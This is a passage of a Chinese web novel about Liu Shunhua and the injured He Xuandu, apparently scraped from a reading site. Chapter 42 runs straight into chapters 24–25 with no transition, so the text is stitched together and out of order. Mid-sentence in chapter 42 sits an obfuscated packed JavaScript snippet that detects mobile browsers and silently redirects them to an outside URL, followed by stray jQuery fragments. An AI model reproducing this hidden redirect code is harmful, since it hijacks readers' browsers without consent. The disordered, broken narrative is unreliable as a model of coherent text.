成松反应过来,“公子,你也太心急了些吧,这大晚上的,就这么迫不及待地想着去请柳小姐。” 贺玄度咳了一声,摸着鼻子,“谁说我要请她过来了?我是突然想起来,他们陈家怎么说也是帮了咱们都尉府的大忙,是不是?今日我状态不太好,柳舜华过来的时候,我竟忘记向她当面致谢了。” 成松一脸嫌弃,“大半夜的,就为这么点事?” 贺玄度正色道:“怎么能是小事呢?她可是救了咱们都尉府。这么大的事,白日里她过来时,你也不提醒着我道谢?这不知道的,还以为都尉府多薄情寡义,不知感恩呢。传出去,都尉府的脸面还要不要了?” 成松打着哈欠,“好好好,这是天大的事,明日一早我就去陈家当面致谢。我的公子,能让我去睡了吗” “等一下,”贺玄度叫住了他。“那个,你也知道,柳小姐她,一直对我很关心。明日你去谢礼的时候,若柳小姐问起来我的情况,你就如实相告。若是她不问……你就,旁敲侧击地暗示她一下。不过,要注意点措辞。” 成松上下看了看贺玄度,不解:“你的情况?你什么情况?” 贺玄度指着自己的后背,“你没看到,我这都疼得彻夜难眠了。” 成松扫了一眼他的后背,嘴角一撇。之前被砍伤,比这严重多了,也没见这么矫情。 大半夜的把他薅起来,说只是为了都尉府的颜面,骗鬼啊。 分明是前脚得罪了人家柳小姐,后脚就想办法上赶着去讨好,当他是傻子看不出来吗? 还疼得睡不着,是闲得睡不着吧。 42. 第 42 章 夜里下了一场小雨。 早起醒来,一池青草漫长,蛙鸣阵阵。 院中的枣树越发油润,密密的枝叶间,隐隐露出豆大的青果子。 柳棠华拉起陈莹,仰着头去看那些小青果子。 二表哥蹑手蹑脚地走过去,对着枣树一跺脚,叶片上隔夜的雨水簌簌落下,微凉的雨滴滚进衣领里,激得两人一下跳了起来。 “好啊,我就知道是你搞的鬼,讨打。” 陈莹嘴上骂着,抓起墙边的短棍便追了上去。 二表哥抬脚便跑,方跑到门口迎面撞到上了人。抬头一望,来人身穿官服,不知来此作甚,瞬间紧张起来。 柳舜华正在屋檐下同陈茵说笑,抬眸一瞧,正看到周松。 “你怎么来了?”她有些诧异。 周松笑道:“此前刺史府突袭都尉府,多亏了柳小姐仗义出手,我奉都尉之命,特来道谢。” 说罢,一挥手,招呼几个等在门口的侍卫抬了谢礼进来。 二表哥听他说是都尉府的人,细细一瞧,发现竟是那日巷口给他们传话之人,这才放下心来。 外祖与舅舅听到动静,见是都尉府的人,忙出来相迎。 周松与他们客套两句,便指挥侍卫们将谢礼放好。 外祖瞧着堆积在旁的谢礼,连声道:“万都尉客气了。有劳这位官爷了,大清早的烦你特地跑来一趟。” 周松连连摆手,嘴上说着哪里哪里,脑子里却不住在想,这么多人在,他要如何不动声色地暗示柳舜华,才能让她看在表公子可怜的份上,原谅他这次的愚蠢行为。 外祖见他依旧站着,丝毫没有回去复命的意思,一时摸不清他的想法。 众人尴尬地站了片刻,外祖忍不住打破沉默:“这位官爷一路辛劳,若是不嫌弃,还请进屋喝一杯茶。” 周松听他提到茶,接道:“哎呀,说起这个茶啊,茶,我们表公子他,最喜欢喝这寻常人家的茶了。可惜啊,他没口福。” 他这话接得过于生硬,众人一时反应不过来,只能陪着干笑。 陈莹疑惑地看向柳舜华,眼神示意,这人到底想干什么? 柳舜华摇摇头,这个周松,今日的确有些怪异。 外祖只能赔笑道:“我们家的茶,都是外面铺子里随便买的,只怕入不了贺公子的口。” 周松突然一拍头,伤感道:“哎,贺公子如今怕是一口茶都喝不下了。” 他瞥了一眼柳舜华,继续道:“昨夜他疼得啊,是翻来覆去的,一整晚都没睡好。整个人都恹恹的,也没什么胃口,从昨天到现在,竟是一口饭也没吃啊。” 果然,此话一出,方才还一脸淡然的柳舜华忙走了过来,“昨日我离开时不是还好好的吗,怎么过了一夜,反而严重了呢?” 周松拧着眉,“大概是郁气凝结,导致淤血难散吧。” 柳舜华本就忧心贺玄度的伤势,听到他病情加重,更不放心。 她走到外祖身边,轻声道:“外祖,贺公子毕竟因我受伤,如今伤势加重,我想我应当前去探望,不然岂不失礼。” 外祖点头,“理当如此。” 得了外祖应允,柳舜华当即跟着周松去了都尉府。 贺玄度已经勉强能起身,半靠在榻上,正百无聊赖地喝着肉粥。 听到门口有脚步声传来,便知是周松回来了。 人还未进屋,他便急道:“你回来了,怎么样?” 周松大步跨进来,看到贺玄度手里的肉粥,朝着他使了个眼色。 贺玄度一时不解其意,疑惑地望着他。 周松露出一个自求多福的表情,退到一边。 日光流泻,青紫罗衣的裙摆扫过门槛,似一团青云飘荡,柳舜华走了进来。 贺玄度怔了片刻,他没想到,昨日他朝她冷脸,她竟还肯跟着过来。 想起周松方才的眼神,贺玄度福至心灵,一下明白了过来。 手一抖,汤匙落在碗中。 他身子费力向前,伸手去抓汤匙,手却抖得厉害,试了几次,都未曾拿到。 柳舜华看得眼眶泛红,贺玄度竟虚弱到如此地步。 她快步走过去,按住他,掏出帕子,将方才溅出来的粥糜擦干。 周松实在看不下去,找了个借口赶紧溜之大吉。 贺玄度微微喘着气,看着柳舜华低声道:“你怎么来了?” 柳舜华见他脸色惨白,眼下一片乌青,果如周松所言,他疼得彻夜未眠。 贺玄度偷偷瞥了柳舜华一眼,瞧她眼中满是疼惜,自觉是最佳时机,此时不道歉更待何时。 “对不起!” “对不起!” 话一出口,两人皆愣了片刻,待反应过来,忍不住低头笑了起来。 贺玄度笑道:“好端端的,你道什么歉。昨日之事,本就是我不对。如今你这一开口,倒显得我小肚鸡肠了。” 他半仰着头,目光中是一贯的肆意飞扬,嘴角的笑格外灿烂,衬得惨白的脸上都有了几分玉色。 柳舜华只觉压在心上的石头瞬间落了地,忍不住歪头一笑,“那我收回方才那句话?” 贺玄度摆摆手,“赶紧收回,我堂堂男子汉,若是还要你特地跑来向我道歉,像什么样子。” 柳舜华低头浅笑,看到方案上的肉粥,柔声问:“你还能自己喝吗?” 贺玄度眉头微皱,摇摇头,“浑身无力,方才胳膊好容易才抬一下,又抖得不行。” 柳舜华看着他的伤处,安慰道:“你伤了背,连着胳膊呢,举不起来也是正常,可千万别心急。不如叫成松回来,喂你如何?” “成松粗手粗脚的,让他喂我,我宁愿饿死。”贺玄度哭丧着脸,抬眼可怜巴巴地望着柳舜华,“你不是在呢嘛,要不,就劳你喂我吧?” 柳舜华无奈摇头,“都这样了,还这么多讲究。” 嘴里虽这么说着,柳舜华还是端起了碗。 肉粥应是端过来有段时辰了,摸着有些余温,倒也不烫。 柳舜华舀了一勺,贺玄度便自觉地把头凑过去。 如此喂了几勺,怕贺玄度总伸着脖子不舒服,柳舜华不觉向榻上坐近了些。 她昨夜洗了头发,发间犹留着甜涩的青草气,暗香幽浮,熏得人一时沉醉不已。 贺玄度抬头,正望见她纤细的脖颈,嫩藕似的雪白一片,一时神醉骨酥,不觉耳尖泛红。 柳舜华眼一瞥,瞧见他这副迷离的神情,脸上一红,不觉向后退了一步。 贺玄度敛了神色,“多谢你喂我,不然我怕是要被饿死了。” 柳舜华柳眉一横,沉脸道:“呸呸呸,什么死啊死的,大清早你就不知道忌讳。” 贺玄度点头,“好,我记下了,下次不会了。” 柳舜华这才满意,将碗放下,看着窗外绿树成荫,缓缓道:“来时桐花满路,如今却已是孟夏,还未好好瞧瞧凉州的春日,就这么过去了。” 贺玄度笑道:“想逛凉州城,这还不简单,等伤好了,我带你四处走走如何?凉州城靠近祁连山北麓,有一处马场,我带你去骑马如何?” 祁连山北麓马场,柳舜华再熟不过。 早年间,外祖就在那里给人养马。她的骑术,就是在那里学的。 她天生擅骑射,两个表哥尚不及她。 一晃多年,她都快忘了,在草原上肆意奔腾的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012267|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 贺玄度只当她有疑虑,得意道:“你不会骑也不用怕,不是我自夸,我骑术一流,只消一日,保管教会你。” 柳舜华一笑,“好啊,这个时节,祁连山脚下的草原绿草如茵,满目苍翠,正是骑马驰骋的好时候。” 贺玄度连声道:“那就这么说定了,不准反悔。” 他一激动,便想坐起来,动作太大,扯到了伤口,疼得叫了起来。 柳舜华提醒道:“受了伤还不安稳,你小心些,不然这伤口什么时候才能好。” 贺玄度捂住后背,哼哼了几声,骂道:“都是郑列这个老匹夫,不然我也不用受这活罪。” 都尉府遭劫一事,柳舜华心中尚有许多疑问。 她总有种感觉,贺玄度对刺史府有此举动好像并没有很大的意外。 对抗刺史府贼军时,贺玄度的表现,并不像一个十足的纨绔。 还有,贺玄度似乎猜到了万都尉会回来。 她本想问一问贺玄度,可一抬头,瞧见他疼得扭曲的脸,还是止住了。 不过,贺玄度这一说,她倒是想起了另一件事。 “程三他们怎么样了?” 贺玄度抽回手,“舅舅说他们也都受了伤,被安置起来医治了。” 柳舜华想了片刻,缓缓道:“有件事,恐怕要麻烦你。” 贺玄度已经猜到了,当初程三肯奋力杀敌,定是求柳舜华事成之后免了他们的罪责,放他们离去。 他们冒充千机阁贼匪一事,贺玄度听舅舅提起过。他们本是山林中的猎户,郑列以山中有祥瑞,不宜被扰为由,将山林圈禁起来,导致他们全村断了生计。一村人辗转流落到此处,听闻有山贼洗劫过往商队,便假借贼匪之名,行打劫之事。据他们交待,他们只图财,从未伤过人性命。 起初贺玄度还对他们的话起疑,如今看来,正是他们村子所在的山林与凉州城外相通,千机阁那些人才能神不知鬼不觉地避开他们的视线。凉州城内外,皆有都尉府的眼线,千机阁能避开他们,显然是走了这条隐秘的通道。 贺玄度道:“他们这次立了功,舅舅不会再去追究的。” 柳舜华摇摇头,“不是,他们想加入万都尉的军营。” 贺玄度道:“我当是什么事,昨日舅舅还同我说起,程三此人一身蛮力,沦为贼寇着实有些可惜。既然他有心想走正途,那再好不过,改日我便同舅舅提一下。” 柳舜华轻笑道:“如此甚好,总算是对他们有个交代。” 贺玄度看柳舜华喜笑颜开,心中有些吃味。 他懒懒地换了个姿势,继续歪在窗边,漫不经心道:“柳舜华,你不会是为了这事才过来的吧?” 柳舜华向他那边探了探,“怎么会?我今日是特意来看你的。只是那场劫难中,他们到底出了力。既然他们有求,我自然希望能从中说合,也不枉他们帮咱们一场。” 贺玄度本来还有些不痛快,一听她说“咱们”,嘴角一勾,回道:“那是自然,你放心,此事若是办不成,随便打我骂我,我都认。” 柳舜华扑哧一笑,“谁要打你骂你,我……” 话音突然止住,柳舜华轻咳一声,用帕子捂住了嘴,偏头转到一边,脸颊红晕一片。 贺玄度歪头瞧过去,“你怎么样?” 柳舜华拉下帕子,嗔声道:“时候不早了,我要回去了。” 说着,起身便要走。 贺玄度拉着她飘过来的衣角,仰头看着她,“明日,你还来吗?” 他语气温软,像是冬日暖阳下慵懒趴在台阶上的猫,偶叫一声,便让人痒在心里。 柳舜华浑身一颤,木然地点了点头,“来。” 24-30 第24章 第24章慌乱 “郡主为何今日突然出现?”男子轻柔的声音响在院落。 是贺玄晖与刘妉柔。 贺玄度与柳舜华皆是一惊,目光不期碰在一起。 从彼此眼中看到一丝震惊后,碍于眼前紧贴在一起的尴尬,双双默契地移开视线。 刘妉柔声音缱绻:“自然是……这里有我想见的人。” 贺玄晖淡声道:“若要相见,下次你可以提前通知我。” 刘妉柔满不在乎,“怎么了,贺大公子,你好像不喜欢看到我。” 贺玄晖沉默片刻,说道:“没有,只是郡主出现得过于突然。你一身下人装扮混进来,若被人发现,难免又要惹人非议,我是为郡主的名声着想。” 刘妉柔轻哼一声,“名声这种东西,最是无用。也就你们相府,不管内里如何,面子上无论如何都要过得去。” 这话虽直白,却说到了柳舜华心坎上。她原以为刘妉柔是个娇柔可人的美人,没想到言语竟如此犀利。 贺玄晖声音冷了下来,“还请郡主慎言。如此当面指责议论,实在有损郡主气度。” 刘妉柔淡声道:“你们相府如何,我不关心。我就是想问你,我们之事,你是如何打算的?是准备向你父亲争取,还是准备与我恩断义绝?” 贺玄晖久久无言,半晌后才道:“郡主今日来就是为了说这些? 却听刘妉柔道:“我过来,是想提醒你,我们之间的事,你要有分寸。还有,你母亲近来对你的亲事可是热络得很,你可莫要遭不住她的软磨硬泡,轻易娶了旁人。” 贺玄晖声音听不出任何情绪,“我知晓,你不必亲自跑来这一趟。” 刘妉柔娇笑一声,“你记得便好。” 两人说着,又往门边走了走,声音越来越小…… 直至关门声响起,脚步越来越远,院内终于静了下来。 贺玄度这才退后一步,放开柳舜华。 “事出突然,还望柳小姐勿怪。” 柳舜华一颗心碰碰直跳,身上还残留着他的气息,不同于前世清冷的荷香,而是一种无孔不入,铺天盖地灼热的馨香,像是陷入一场春日桃花雨。 她脑中早乱做一团,胡乱地点头。 突然贺玄度轻嘶一声,伸手按住脖颈处。 柳舜华下意识望去,只见贺玄度脖子上布满抓痕,一条条红印格外醒目。 她上前一步,关切道:“你没事吧?” 贺玄度将脖子伸到她跟前,“你说呢,下这么重的手,都出血了吧。” 柳舜华理亏,方才一时慌张,下手确实没有分寸,不想给他抓成这样。 她慌道:“要不要找个医士瞧瞧?” 贺玄度拉高衣领,盖住红痕,“若是让人知晓,不知又要传出什么风言风语,晚些我让洪声寻了药膏涂抹一下就好。” 柳舜华垂眸不语,他这伤处,确实有些让人难以言说的暧昧。贺玄度风评一向不好,若是再被有心人造言诽谤他祖母寿诞之日行荒淫之事,那他可真的是无立锥之地了。 她满脸歉意:“都是我不小心,对不起。” 贺玄度一笑,“这也没什么,下次小心一些便是了。” 柳舜华听他说下次,脸上倏忽一红,慌忙道:“你……你胡说什么呢?” 贺玄度随手拿起荒草丛埋起的酒坛,跨坐在廊下石阶上,“知道我爱乱说,还不快些走。再晚些,等有人寻到这里,你就说不清了。” 经他一提醒,柳舜华才觉她的确出来太久了。 怕柳棠华担心,她匆匆告别。 “柳舜华。”贺玄度突然叫住了她。 柳舜华回头看向贺玄度,他坐直了些,咳了声,“那个,过几天我要外出一趟。” 柳舜华一时没有反应过来他话里的意思,脸上带着几分茫然。 贺玄度也不知自己为何会叫住她,又为何同她说这些。 他突然有些尴尬,眼往下一瞥,“你……你脚下有块石头,毛毛躁躁的,走路也不看着点路。” 柳舜华垂头一看,脚边确实有块小石子。 她愣了一下,有些摸不着头脑,还是点头致谢。 出了西竹院,柳舜华回头,静静看着曾经住过的地方。 想到前世,她曾同贺玄度一样居住过这个地方。又想到方才……,柳舜华脸上飞红,昔日憋屈之感,竟有几分消减。 在相府生活三年,柳舜华对相府的路再熟悉不过。 她特意绕开良园,抄了个近道,往东苑宴席上去。 走了百余步,方要转过小路,便听到女子呼叫声。 这声音,柳舜华一怔,是妙灵。 前世,她嫁进相府时,只带了芳草一个丫头,丞相夫人安排的丫头也不甚不得力,老夫人便把自己身边伺候的妙灵给了她。 妙灵待她极好,在西竹院那段无人问津的日子,全靠她上下打点。因曾是老夫人身边之人,每每有求于贺玄晖之事,妙灵总会跑去周旋。 柳舜华快步走了出来,正瞧见一个男子对着妙灵动手动脚。 真是冤家路窄,又是丞相夫人的侄子,程嘉良。 柳舜华心下鄙夷,程家着一对叔侄,上行下效,真是一样的货色。 “妙灵,你怎么在这呢?”柳舜华喊道。 听到有人坏了自己好事,程嘉良一脸不耐地转身。 看到柳舜华那刻,他瞬间换了副脸色,对着她毫无顾忌地上下打量起来。 柳舜华忍住恶心,朝妙灵道:“老夫人吃了酒,就等着你的醒酒汤呢,还不快些去准备。” 妙灵正被程嘉良缠得脱不开身,眼见一个仙子般的救星,顾不得想她为何认识自己,忙跑了过去。 程嘉良双手一挥,旁边的两个小厮便伸手拦住了她们的去路,他随后醉醺醺地跟了上来。 柳舜华冷眼瞧着他,“程公子,妙灵可是老夫人的人。今日是老夫人的寿辰,你却这么明目张胆地动她的人,不怕得罪了老夫人?” 这里偏僻,少有人行,况今日丝竹琴乐不绝,便是呼叫,也不会有人听到。她只能寄希望于搬出老夫人,将他吓退。 程嘉良眉头一皱,揉了揉额头,贼笑道:“我想起来了,我见过你。上次你帮贺玄度的时候,也是拿老夫人压我。” 柳舜华拉着妙灵往后退了一步,“妙灵本就是老夫人屋里的,不信,你大可去问。” “好,她是老夫人屋里的,我动不得,我放了她。”程嘉良三角眼眯起,“可是你,今日是跑不掉了。” 说罢,他便生扑了过来。 柳舜华大骇,忙闪躲开,“你放肆,我是……” 到嘴的话突然停住了,情急之下,她下意识想以相府长媳的身份来压他,却发现,如今她早已与贺玄晖毫无干系。 程嘉良一双鼠眼像看猎物一样瞧着她,“哦,你是谁,倒是说啊?整个长安,哪家权贵之女我不认识,你休想蒙我。” 妙灵受了惊吓,浑身颤抖,却还是颤巍巍地挺身挡在柳舜华身前,“程公子,今日是老夫人寿辰,来的皆是 贵客。你若在此惹事,得罪贵客,不怕相爷怪罪吗?” 程嘉良脸色一沉,一巴掌扇在妙灵脸上,“你算个什么东西,今日宴席之上,贺玄度那个废物都奈何不了我们陈家,哪轮到你一个下人对我指手画脚。” 柳舜华忍无可忍,不管不顾,反手一巴掌回了过去。 这个时候,若是她还权衡利弊,那她和妙灵这些年的情谊,可当真是喂了狗了。 程嘉良捂住脸,不可置信地看着柳舜华。 他一双眼里喷火,怒道:“你个小贱妇,也敢动手打我?” 说着,他一双手便朝她挥了过来,仓皇之中,柳舜华将头上的发簪拔下,紧紧握住手里。 程嘉良挥出去的手被人按在半空,柳舜华抬头望去,看到了贺玄晖。 贺玄晖面无表情,猛地用力一带,程嘉良一个趔趄,摔倒在地上。 柳舜华愣愣地看着贺玄晖,没想到他会突然出现。 贺玄晖看都没看地上的程嘉良,径直走向柳舜华,关切道:“柳小姐,你没事吧?” 柳舜华有些恍神。 上辈子,她出手教训了程嘉良,险些被他打回去。 贺玄晖撞见后,只是轻描淡写呵斥程嘉良几句,并没有关心她是否受伤。 她突然觉得有些可笑。 原来,只要不是他的妻子,她也能像其他任何人一样,得到他的温柔与悲悯。 程嘉良从地上爬起来,冲着贺玄晖嚷道:“玄晖,你做什么?我可是你表兄。” 贺玄晖转头冷声道:“表兄,今日是我祖母寿宴,你这样惹是生非,将我们相府置于何地?” 程嘉良揉了揉被扇得发烫的脸,“我没想惹事,是这个臭丫头,她打了我,今日我定不能饶了她。” 贺玄晖淡声道:“是你惹事在先。” 程嘉良酒壮人胆,怒道:“贺玄晖,你帮谁啊?我还以为你多清高,没想到一样色令智昏,见到个貌美的,便连兄弟都不要了。” 贺玄晖浑身一震,声音冷得冰雪里浸过一般,“你再乱说,休怪我不讲情面。” 程嘉良笑了几声,开口便是酒气熏天,“好啊,咱们这就到姑姑跟前说理去。你为了一个小贱人,竟然连亲表兄都打。” 贺玄晖瞥了他一眼,对着左右小厮喝道:“他喝醉了,带他下去。” 小厮们看了看程嘉良,并未敢动。 贺玄晖厉声道:“你们都聋了不成?” 那几个小厮何曾见过贺玄晖如此模样,忙架着程嘉良往宴席上去。 柳舜华也有些发怔,印象中贺玄晖一贯面上温润有加,内心波澜不惊,仿佛所有的人与事都与他无关。可如今看贺玄晖对程嘉良的态度,分明是厌恶至极,浑无上辈子那种兄弟间的亲厚。 程嘉良不停挣扎,他喝了酒,力气极大,几个小厮又不敢下重手,很快便被他脱身。 他指着柳舜华,不依不饶,“今日这一巴掌,我定要打回去,谁也休想拦我。” 柳舜华脑海中飞快盘算着应对之策,若程嘉良不依不饶,她只有将事情闹大了。今日贵客云集,丞相定不会当着众宾客的面包庇他这么一个登徒子。 只是如此一来,势必会让丞相府脸面有损。兄长婉拒丞相拉拢,一定会让贺丞相心生嫌隙。若再来这么一出,他们柳家与丞相府的梁子,算是结下了。 她不能连累兄长,必须要想一个两全其美的法子。 “她的脸也是你能打的,你可真是狂妄至极。” 花丛中缓缓走来一人,裙据飘扬,眉目间满是不屑。 程嘉良望着来人呆愣了片刻,捂着头道:“表姐。” 贺容华越过他走到柳舜华身边,朝她笑了笑,这才转身,“她是我带来的,你要打她,不如连我一起打了如何?” 程嘉良浑身一抖。 整个相府,他最怕的便是贺容华。 表姐刚回府那段时日,他嫌弃她出身乡野,一时嘴快,言语中讥讽了她几句。谁料这个表姐二话不说,直接拎起案上的花瓶朝他头上摔去。 事后,她竟还趾高气扬反咬一口,诬他先动手。 姑姑对她有愧,事事顺着她,不由分说将他骂了一顿。 自那以后,他便知晓,贺容华不是他能惹得起的。 程嘉良垂着头,“不敢,不敢。” 贺容华睨了他一眼,“既如此,那我可要带她走了。” 程嘉良很识时务地退到一边。 柳舜华也想不了那么多,只先拉过妙灵,跟在贺容华身后。 贺容华经过贺玄晖身边,朝他点头示意,径直离开。 行至拱桥处,几人这才停下。 贺容华笑道:“过了桥,便是东苑,他不会追过来的。” 柳舜华点头,对着妙灵道:“你快些回去伺候老夫人吧,不过,别走小路了。” 妙灵一愕,她怎知她惯走小路。 还有方才,她一下叫出了她的名字,似乎与她极为熟稔,可她却不记得在哪里见过她。 碍于大小姐在,她也不好问,只向柳舜华道谢,一步三回头地离开。 妙灵一走,只余两人,柳舜华摸不清贺容华为何会帮她,一路都在琢磨。 贺容华往桥上走了几步,转头发现柳舜华还呆在原地,便笑着朝她招手,“柳小姐,怎么还不走。” 柳舜华挪了几步,走到桥中,忍不住问:“夫人,您为何要帮我?” 贺容华停下了脚步,柔柔一笑,“还能为什么,自然是为我那不争气的弟弟。” 柳舜华狐疑,“贺玄晖?” 贺容华摇头,“不,是宁儿。” 贺宁,正是贺玄度的名。 第25章 第25章奸计 贺容华是如今的丞相夫人程氏的亲生女儿,怎么听起来,似乎与贺玄度关系更亲近。 贺容华知她心中疑虑,笑道:“你不必紧张,今日我过来时,宁儿找过我。他说上巳节长陵侯府的浮霞园内,你与容暄有些不快,让我帮忙留意,免得你被刁难。” 柳舜华心上生暖,怪不得她总感觉贺大小姐有意帮她,原来是贺玄度的意思。 贺容华上下打量着柳舜华,眼带笑意,“宁儿他一向不喜与女子过多亲近,他找上我的时候,我还有些稀奇,到底是怎样的女子,能让他这么混不吝的变得如此细心。今日一看到你,我便明白了。” 柳舜华尤怕给贺玄度惹麻烦,忙道:“贺二公子为人良善,没想到这点小事都记得,倒是麻烦夫人了。” 贺容华看穿她的心思,没有捅破,只是抬头笑了笑,“是啊,宁儿他一直都是个善良的孩子。” 当年籍籍无名的父亲攀上了太常卿,母亲怕她的存在影响了父亲的官运,便将她送到乡下。 收养她的那对夫妻,只当她是个没人要的野种,乡下的日子并不好过。 好不容易苦尽甘来被接回相府,初时父亲和母亲对她还有些愧疚。 他们见她言行粗俗,还想着为她请先生,让她多学学大家闺秀的做派。 她不愿学,依旧我行我素,在一场宴席上错漏百出后,父亲同母亲对她越来越失望,亲弟弟和妹妹们也以她为耻。 她在乡野十几年,一直如此,哪是说变就能变的。 她不明白到底做错了什么,当即收拾行礼,偷偷跑出了相府。 可出了门,却在郊外山林里迷了路,又扭伤了脚。 夜间的山林阴沉可怕,她抱着包裹蹲在地上哭。 她哭了半个时辰,没有等来父亲,更没有等来母亲,却等来了贺玄度。 贺玄度背着她,走回了相府…… 柳舜华看她神情,像是在回忆着什么,也不好接话,只是跟在她后面。 待过了桥,贺容华突然回头,问道:“方才你动手打了程嘉良?” 柳舜华一顿,心想,到底是她亲表弟,这会怕是要算后账了。 她想了 想,道:“实在是我一时心急,我不是……” “打得好!”贺容华打断了她的话。 “程嘉良那个混账东西,我看他不顺眼许久了。只是我嫁了人,凡事是要顾忌些,不好动手。方才听说你打了他,别提多畅快了,只可惜没看到。” 柳舜华愣了片刻,然后笑了起来。这位贺大小姐,和想象中有点不太一样。 她这离经叛道的样子,同贺玄度还真有些像。 将柳舜华送回宴席,贺容华说要陪祖母说会话,并未一同入席。 柳棠华见柳舜华回来,终于放下心来,“姐姐怎么去那么久,我还以为你出什么事了呢。” 柳舜华一笑,“放心,我没事,只是迷了路。” 柳棠华指着身旁的食盒,兴高采烈,“姐姐你看,我带了好多点心呢,老夫人可真是个大好人。” 有了这些点心,柳棠华很快忘了方才的不快。 丞相夫人同那些贵夫人寒暄了片刻,有些疲倦,便由贺容暄陪着在水榭内小憩。 两人才坐下,丞相夫人眼一瞥,便见柳舜华袅袅而来,忍不住盯着她看了许久。 过了片刻,她对身侧的嬷嬷悄声道:“你去查查,这个柳小姐人品性情如何。” 贺容暄想到近日母亲上心兄长的婚事,猜到她的用意,不由冷哼一声,“母亲,不过是个上不得台面的人,查她作甚?” 丞相夫人压低声音,“你没瞧见,方才你祖母有意向着她?” “不过是祖母碰巧喜欢吃葡萄软糕,她误打误撞罢了。”贺容暄根本不当回事。 丞相夫人摇头,“没有那么简单,方才我瞧得真切,你祖母对她似乎格外喜欢。” 贺容暄不屑,“那又如何?” 丞相夫人叹了口气,“你啊,真以为这相府是我当家做主。我虽管着家,但那些值钱的田产、铺子可都攥在老太太手里。若是不能讨她欢心,将来她安排后事,将值钱的多数都留给那位,哭都没地方哭。” 贺容暄气恼道:“祖母就是偏心那人。” 丞相夫人无奈,“万氏先嫁进来,惯会笼络人心,不知给你祖母灌了多少迷魂汤,让你祖母对我一直心存偏见。这些年,你祖母对我一直不冷不热,我想亲近也没机会。你姐姐倒是讨她喜欢,哎,她那个性子,偏又指望不上。” 提到贺容华,贺容暄眉头一皱,“姐姐她哪里将咱们放在心上,在她眼里,咱们怕是连那个纨绔都比不上。” 丞相夫人拉过贺容暄的手,“那丫头与我有隔阂,我是指望不上她了。曦儿啊,你可要替娘争口气,没事多去你祖母那里,想办法多哄哄老夫人,不能让别人白白捡了便宜。” 贺容暄一脸不耐,“母亲,祖母待我也是不冷不热的,我可不想去那伺候人。再说了,咱们又不缺那点钱,就贺玄度那个样,给他再多,他也得守得住才行。” “曦儿,你也大了,该懂得为母亲分忧了。咱们上上下下这些吃的、穿的,哪里不都要钱,”丞相夫人沉下脸,低声道:“如今府内只是看着光鲜,内里应亏空不少,再不想办法,只能缩减开支了。” 丞相府这些年是积攒了不少家业,可她喜奢靡,不擅打理,又要帮衬着娘家那个无底洞,积年累月,很快便挥霍了个七七八八。 贺容暄哪知道这些,听到亏空,脱口道:“怎么会如此?” 丞相夫人道:“万氏嫁进来时,带了不少嫁妆,还有当时皇上的那些赏赐,都在她名下。当年她病故前,财资悉数交给了老夫人。若算起来,那些都是丞相府的私物,怎能让那纨绔都拿了去。” 贺容暄有些犯难,“母亲,祖母那边,我实在是不行。” 丞相夫人将目光投到柳舜华身上,“我听说,你父亲最近一直想拉拢这位柳小姐的兄长。” 贺容暄明白母亲的意思,“母亲糊涂,她这等身份,也配进咱们相府。” 丞相夫人沉下脸,“什么身份,难道当初我的身份就高了吗?依你的意思,非要她刘妉柔这样的才行?” 听母亲提到刘妉柔,贺容暄瞬间明白她为何不悦。 平阳王王妃,也就是刘妉柔的母妃,仗着自己出身高贵,一向对母亲多有轻视,每逢相交,必话里话外暗示母亲的出身。 她忙道:“母亲,任她刘妉柔再怎么高贵,若想嫁进来,不还是要看您的意思。” 丞相夫人嘴角一勾,“若是你兄长娶到一个贤妇,既能帮到你父兄,又能讨好你祖母,还能顺便羞辱一下平阳王府,一箭三雕,岂不让人痛快。” 柳舜华坐定,不见丞相夫人与贺容暄,心情顿时大好。 同柳棠华静坐在一旁,只等宴饮结束,早些与兄长回府。 两人正坐得有些无聊,便听到一阵议论。 “你们听说了吗,就在方才,程家公子落水了。” “程家公子,是哪个?” “程嘉良啊。” 立时有人嗤笑一声,低声道:“他落水就落了,有什么要紧的。” 果如上辈子一样,程嘉良落了水,只是时间提前了一点而已。 柳舜华听到,掩住笑意,转头问:“怎么好端端的落水了?” 有人轻笑:“说起来这个才好笑呢,竟有人说是大公子将程嘉良推下了水。” 贺容暄不知什么时候走了过来,听到此处,她怒呵一声,“你们乱嚼什么呢,我兄长怎么可能做这种事?” 那名贵女不防贺容暄会过来,小声道:“我们自然都是不信的。是程公子自己说的,我堂弟就在场,他亲耳听到的。” 贺容暄眉头紧锁,咬牙道:“这个程嘉良,定是他喝醉了酒,胡乱攀咬。敢败坏我兄长名声,看我回头不撕烂他那张臭嘴。” 若说贺玄晖将程嘉良推下水,柳舜华自是不信。 虽说程嘉良酒后无状,出言得罪了他,但依着贺玄晖的性子,此等小事,他必不会放在心上。何况就算他再不喜程嘉良,到底也是他表兄。他一贯知礼守节,最是清高,怎么可能推程嘉良下水。 她并不关心程嘉良如何落水,只当这是恶有恶报。 苦熬到宴席结束,柳舜华忙拉着柳棠华告辞,等着柳桓安一同回府。 马车很快驶出相府前的大路,柳舜华看着府门前的垂柳一步步退后,退后,退成一团云雾,慢慢消散。 贺玄晖,丞相夫人,贺容暄,一张张脸从她脑海中慢慢抹除…… 三人才下了马车,芳草便迎了上来。 贺玄晖见过芳草,为了不被认出,芳草便没跟去。 “少爷,小姐快去看看吧,二爷还有二奶奶正在老爷那闹呢。” 柳桓安连日操劳,晚间受了风寒,今日又饮不少酒,止不住咳了几声,“又闹什么呢?” 芳草道:“说是少爷小姐不顾兄妹之情,在相府门前让蔓华小姐难堪。” 柳棠华一听,气道:“那是她自找的,不去反思,反倒过来闹。” 柳舜华无奈看向柳桓安,“兄长,走吧。” 正厅内,柳奉被两人吵得头疼,正摸着额头皱眉不语。 见三人走了过来,葛氏指着他们嚎了起来,“你们三个没良心的,竟让萋萋在府门前受尽委屈,你们好狠的心啊。” 柳仁跟着端起长辈的架子,“桓安,你是兄长,你说说怎么回事,怎么能看着自家妹妹受委屈呢?” 三人回府,尚未歇息,便被劈头盖脸一通指责,柳桓安心内已是有所不满。 